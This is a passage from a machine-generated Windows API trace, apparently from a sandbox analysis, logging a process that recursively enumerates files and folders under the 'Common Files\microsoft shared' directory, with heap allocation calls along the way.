ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0092.097] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0092.097] GetProcessHeap () returned 0xc00000 [0092.097] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.098] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0092.098] GetProcessHeap () returned 0xc00000 [0092.099] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0092.099] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="..", cAlternateFileName="")) returned 1 [0092.099] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.099] GetProcessHeap () returned 0xc00000 [0092.099] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b58c0 [0092.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.100] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.100] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0092.100] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0092.100] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.100] GetProcessHeap () returned 0xc00000 [0092.100] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b58c0 | out: hHeap=0xc00000) returned 1 [0092.100] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x400, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0092.100] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x400, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0092.101] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0092.101] GetProcessHeap () returned 0xc00000 [0092.101] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.102] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0092.102] GetProcessHeap () returned 0xc00000 [0092.102] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0092.103] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="..", cAlternateFileName="")) returned 1 [0092.103] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x58cd0, dwReserved0=0x0, dwReserved1=0x400, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0092.103] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0092.103] GetProcessHeap () returned 0xc00000 [0092.103] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b58c0 [0092.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.179] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.180] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x168258, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0092.180] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0092.180] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0092.180] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 0 [0092.180] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.181] GetProcessHeap () returned 0xc00000 [0092.181] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b58c0 | out: hHeap=0xc00000) returned 1 [0092.181] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0092.181] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0092.181] GetProcessHeap () returned 0xc00000 [0092.181] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.183] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0092.183] GetProcessHeap () returned 0xc00000 [0092.183] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.184] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="..", cAlternateFileName="")) returned 1 [0092.185] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="..", cAlternateFileName="")) returned 0 [0092.185] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.185] GetProcessHeap () returned 0xc00000 [0092.185] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.185] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0092.185] GetProcessHeap () returned 0xc00000 [0092.185] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.185] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.186] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="..", cAlternateFileName="")) returned 1 [0092.186] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x400, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0092.186] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x400, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0092.186] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.186] GetProcessHeap () returned 0xc00000 [0092.186] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.186] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0092.186] GetProcessHeap () returned 0xc00000 [0092.186] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.279] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="..", cAlternateFileName="")) returned 1 [0092.280] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x400, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0092.280] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x400, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0092.280] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a3ecc0a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d2da05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d2da05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x400, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0092.281] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x400, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0092.281] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x400, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0092.281] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x400, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0092.281] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, 